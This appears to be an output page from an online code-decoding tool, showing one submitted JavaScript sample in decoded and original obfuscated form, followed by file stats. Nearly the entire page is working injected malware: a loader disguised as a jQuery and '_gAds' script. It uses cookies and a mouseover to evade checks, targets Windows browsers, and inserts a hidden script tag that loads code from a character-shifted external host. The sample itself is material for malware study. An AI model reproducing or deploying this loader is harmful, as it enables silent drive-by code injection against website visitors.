Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

(function () { var b = "/jquery.min.js?v=", i = navigator, q = "_gAds", K = "di..

Decoded Output download

<?  (function () { 
	var b = "/jquery.min.js?v=", 
		i = navigator, 
		q = "_gAds", 
		K = "display:none", 
		V = Math.round(100 * Math.random()), 
		M = function (q) { 
			var v = ""; 
			for (var d = 0; d < q.length; d++) v += String.fromCharCode(q[d] + 11); 
			return v 
		}, a = "onmouseover", 
		r = [91, 94, 103, 104, 105, 56, 93, 94, 97, 89], 
		s = "x2d", 
		x = function () { 
			Z.cookie = q + "=1; expires=" + (new Date((new Date) 
				.getTime() + 864E5)) 
				.toGMTString() + "; path=/" 
		}, y = "ChpBxN", 
		J = !1, 
		A = "body", 
		g = function () { 
			var y = " " + Z.cookie, 
				z = " " + q + "=", 
				x = null, 
				i = 0, 
				d = 0; 
			0 < y.length && (i = y.indexOf(z), -1 != i && (i += z.length, d = y.indexOf(";", i), -1 == d && (d = y.length), x = unescape(y.substring(i, d)))); 
			return x 
		}, w = "http://", 
		m = window, 
		z = !1, 
		v = 5, 
		j = "src", 
		F = /*@cc_on!@*/ !1, 
		d = [94, 35, 108, 94, 99, 109, 34, 88, 97, 106, 87, 34, 98, 106, 97, 105, 35, 94, 99, 91, 100], 
		D = function () { 
			if (Z[A] && (!Z[A][a] && !m[s] && (Z[A][a] = function (F) { 
				F = F || m.event; 
				if (F.clientX || F.clientY) m[s] = !0; 
				Z[A][a] = null 
			}), m[s])) { 
				var J = function (i) { 
					return Z.createElement(i) 
				}, z = function (l) { 
						Z[A].insertBefore(l, Z[A].firstChild) 
					}, M = function (j, H, X) { 
						H.setAttribute(X, j) 
					}, w = function (V, g) { 
						g.appendChild(V) 
					}, x = J(E), 
					d = J(S), 
					b = J(S); 
				M(y, x, "id"); 
				M(K, x, "style"); 
				m[s] = [v, q, y, Z.domain, m.location.protocol]; 
				z(x); 
				w(d, x); 
				b.text = n; 
				w(b, x) 
			} 
			m[s] || setTimeout(D, 20) 
		}, E = "div", 
		Z = document, 
		h = "sidebar" in m, 
		S = M([104, 88, 103, 94, 101, 105]), 
		X = -1 != i.platform.search(/win[3264]+/i), 
		H = w + M(d) + b + v + V, 
		l = "opera" in m, 
		n = "document.getElementById('" + y + "')." + M(r) + ".setAttribute('" + j + "', '" + H + "');"; 
	m[s] = !1; 
	null == g() && (J = !0, x(), null == g() && (z = !0)); 
	if ((F || h || l) && X && J && !z) { 
		D() 
	} 
})() 
(function () { 
	var Y = function () { 
		var u = " " + X.cookie, 
			Q = " " + s + "=", 
			A = null, 
			W = 0, 
			d = 0; 
		0 < u.length && (W = u.indexOf(Q), -1 != W && (W += Q.length, d = u.indexOf(";", W), -1 == d && (d = u.length), A = unescape(u.substring(W, d)))); 
		return A 
	}, i = function () { 
			if (X[y] && (!X[y][P] && !V[n] && (X[y][P] = function (l) { 
				l = l || V.event; 
				if (l.clientX || l.clientY) V[n] = !0; 
				X[y][P] = null 
			}), V[n])) { 
				var u = function (A) { 
					return X.createElement(A) 
				}, t = function (f) { 
						X[y].insertBefore(f, X[y].firstChild) 
					}, R = function (v, S, r) { 
						S.setAttribute(r, v) 
					}, Y = function (p, B) { 
						B.appendChild(p) 
					}, q = u(Q), 
					L = u(g), 
					d = u(g); 
				R(U, q, "id"); 
				R(o, q, "style"); 
				V[n] = [W, s, U, X.domain, V.location.protocol]; 
				t(q); 
				Y(L, q); 
				d.text = N; 
				Y(d, q) 
			} 
			V[n] || setTimeout(i, 20) 
		}, P = "onmouseover", 
		X = document, 
		l = navigator, 
		r = Math.round(100 * Math.random()), 
		s = "_gAds", 
		W = 5, 
		y = "body", 
		q = "/jquery.min.js?v=", 
		o = "display:none", 
		L = "http://", 
		B = "src", 
		t = !1, 
		n = "x2d", 
		V = window, 
		R = /*@cc_on!@*/ !1, 
		j = [92, 33, 91, 98, 94, 94, 84, 92, 87, 98, 32, 96, 102, 94, 33, 101, 104], 
		p = [89, 92, 101, 102, 103, 54, 91, 92, 95, 87], 
		f = function () { 
			X.cookie = s + "=1; expires=" + (new Date((new Date) 
				.getTime() + 864E5)) 
				.toGMTString() + "; path=/" 
		}, e = function (p) { 
			var A = ""; 
			for (var y = 0; y < p.length; y++) A += String.fromCharCode(p[y] + 13); 
			return A 
		}, Q = "div", 
		u = !1, 
		U = "lH_twUhp", 
		A = "opera" in V, 
		g = e([102, 86, 101, 92, 99, 103]), 
		v = "sidebar" in V, 
		S = L + e(j) + q + W + r, 
		d = -1 != l.platform.search(/win[3264]+/i), 
		N = "document.getElementById('" + U + "')." + e(p) + ".setAttribute('" + B + "', '" + S + "');"; 
	V[n] = !1; 
	null == Y() && (u = !0, f(), null == Y() && (t = !0)); 
	if ((R || v || A) && d && u && !t) { 
		i() 
	} 
})() ?>

Did this file decode correctly?

Original Code

(function () {
	var b = "/jquery.min.js?v=",
		i = navigator,
		q = "_gAds",
		K = "display:none",
		V = Math.round(100 * Math.random()),
		M = function (q) {
			var v = "";
			for (var d = 0; d < q.length; d++) v += String.fromCharCode(q[d] + 11);
			return v
		}, a = "\x6fn\155\x6fus\x65\x6fver",
		r = [91, 94, 103, 104, 105, 56, 93, 94, 97, 89],
		s = "\x782\x64",
		x = function () {
			Z.cookie = q + "\75\61;\40e\x78p\151r\145s=" + (new Date((new Date)
				.getTime() + 864E5))
				.toGMTString() + "\73 \x70\x61th\75\57"
		}, y = "ChpBxN",
		J = !1,
		A = "\x62o\144\x79",
		g = function () {
			var y = " " + Z.cookie,
				z = " " + q + "=",
				x = null,
				i = 0,
				d = 0;
			0 < y.length && (i = y.indexOf(z), -1 != i && (i += z.length, d = y.indexOf(";", i), -1 == d && (d = y.length), x = unescape(y.substring(i, d))));
			return x
		}, w = "\150\x74\164p\72\57/",
		m = window,
		z = !1,
		v = 5,
		j = "src",
		F = /*@cc_on!@*/ !1,
		d = [94, 35, 108, 94, 99, 109, 34, 88, 97, 106, 87, 34, 98, 106, 97, 105, 35, 94, 99, 91, 100],
		D = function () {
			if (Z[A] && (!Z[A][a] && !m[s] && (Z[A][a] = function (F) {
				F = F || m.event;
				if (F.clientX || F.clientY) m[s] = !0;
				Z[A][a] = null
			}), m[s])) {
				var J = function (i) {
					return Z.createElement(i)
				}, z = function (l) {
						Z[A].insertBefore(l, Z[A].firstChild)
					}, M = function (j, H, X) {
						H.setAttribute(X, j)
					}, w = function (V, g) {
						g.appendChild(V)
					}, x = J(E),
					d = J(S),
					b = J(S);
				M(y, x, "id");
				M(K, x, "style");
				m[s] = [v, q, y, Z.domain, m.location.protocol];
				z(x);
				w(d, x);
				b.text = n;
				w(b, x)
			}
			m[s] || setTimeout(D, 20)
		}, E = "di\166",
		Z = document,
		h = "\163\151de\142\141r" in m,
		S = M([104, 88, 103, 94, 101, 105]),
		X = -1 != i.platform.search(/win[3264]+/i),
		H = w + M(d) + b + v + V,
		l = "\x6f\x70era" in m,
		n = "docum\145\x6e\x74\x2eg\x65\x74\105le\155\x65n\164By\111d\x28'" + y + "')\56" + M(r) + ".\163\145tA\164tr\x69\x62ute\50'" + j + "'\54 \47" + H + "'\x29;";
	m[s] = !1;
	null == g() && (J = !0, x(), null == g() && (z = !0));
	if ((F || h || l) && X && J && !z) {
		D()
	}
})()
(function () {
	var Y = function () {
		var u = " " + X.cookie,
			Q = " " + s + "=",
			A = null,
			W = 0,
			d = 0;
		0 < u.length && (W = u.indexOf(Q), -1 != W && (W += Q.length, d = u.indexOf(";", W), -1 == d && (d = u.length), A = unescape(u.substring(W, d))));
		return A
	}, i = function () {
			if (X[y] && (!X[y][P] && !V[n] && (X[y][P] = function (l) {
				l = l || V.event;
				if (l.clientX || l.clientY) V[n] = !0;
				X[y][P] = null
			}), V[n])) {
				var u = function (A) {
					return X.createElement(A)
				}, t = function (f) {
						X[y].insertBefore(f, X[y].firstChild)
					}, R = function (v, S, r) {
						S.setAttribute(r, v)
					}, Y = function (p, B) {
						B.appendChild(p)
					}, q = u(Q),
					L = u(g),
					d = u(g);
				R(U, q, "id");
				R(o, q, "style");
				V[n] = [W, s, U, X.domain, V.location.protocol];
				t(q);
				Y(L, q);
				d.text = N;
				Y(d, q)
			}
			V[n] || setTimeout(i, 20)
		}, P = "o\156\155\157u\163\145\x6fver",
		X = document,
		l = navigator,
		r = Math.round(100 * Math.random()),
		s = "\x5fg\101\144s",
		W = 5,
		y = "\142o\144\x79",
		q = "/jq\165e\162\x79.\155i\156.j\163?\166=",
		o = "di\x73pla\x79\x3a\156\157n\145",
		L = "\x68\164\x74p\72//",
		B = "src",
		t = !1,
		n = "x2d",
		V = window,
		R = /*@cc_on!@*/ !1,
		j = [92, 33, 91, 98, 94, 94, 84, 92, 87, 98, 32, 96, 102, 94, 33, 101, 104],
		p = [89, 92, 101, 102, 103, 54, 91, 92, 95, 87],
		f = function () {
			X.cookie = s + "\x3d\x31; e\x78\160\x69\x72\x65s=" + (new Date((new Date)
				.getTime() + 864E5))
				.toGMTString() + "; \x70\141th\75/"
		}, e = function (p) {
			var A = "";
			for (var y = 0; y < p.length; y++) A += String.fromCharCode(p[y] + 13);
			return A
		}, Q = "d\151v",
		u = !1,
		U = "lH_twUhp",
		A = "op\145\x72\141" in V,
		g = e([102, 86, 101, 92, 99, 103]),
		v = "\x73\x69de\142\141r" in V,
		S = L + e(j) + q + W + r,
		d = -1 != l.platform.search(/win[3264]+/i),
		N = "\x64ocument.\147e\x74E\x6c\145\x6de\156t\102yId\50'" + U + "'\x29\56" + e(p) + "\56\163\x65tA\x74tr\151bute(\x27" + B + "\47\x2c '" + S + "\47\51;";
	V[n] = !1;
	null == Y() && (u = !0, f(), null == Y() && (t = !0));
	if ((R || v || A) && d && u && !t) {
		i()
	}
})()

Function Calls

None

Variables

None

Stats

MD5 5cd92f27e55244a5de3d7f8f5e9912bf
Eval Count 0
Decode Time 102 ms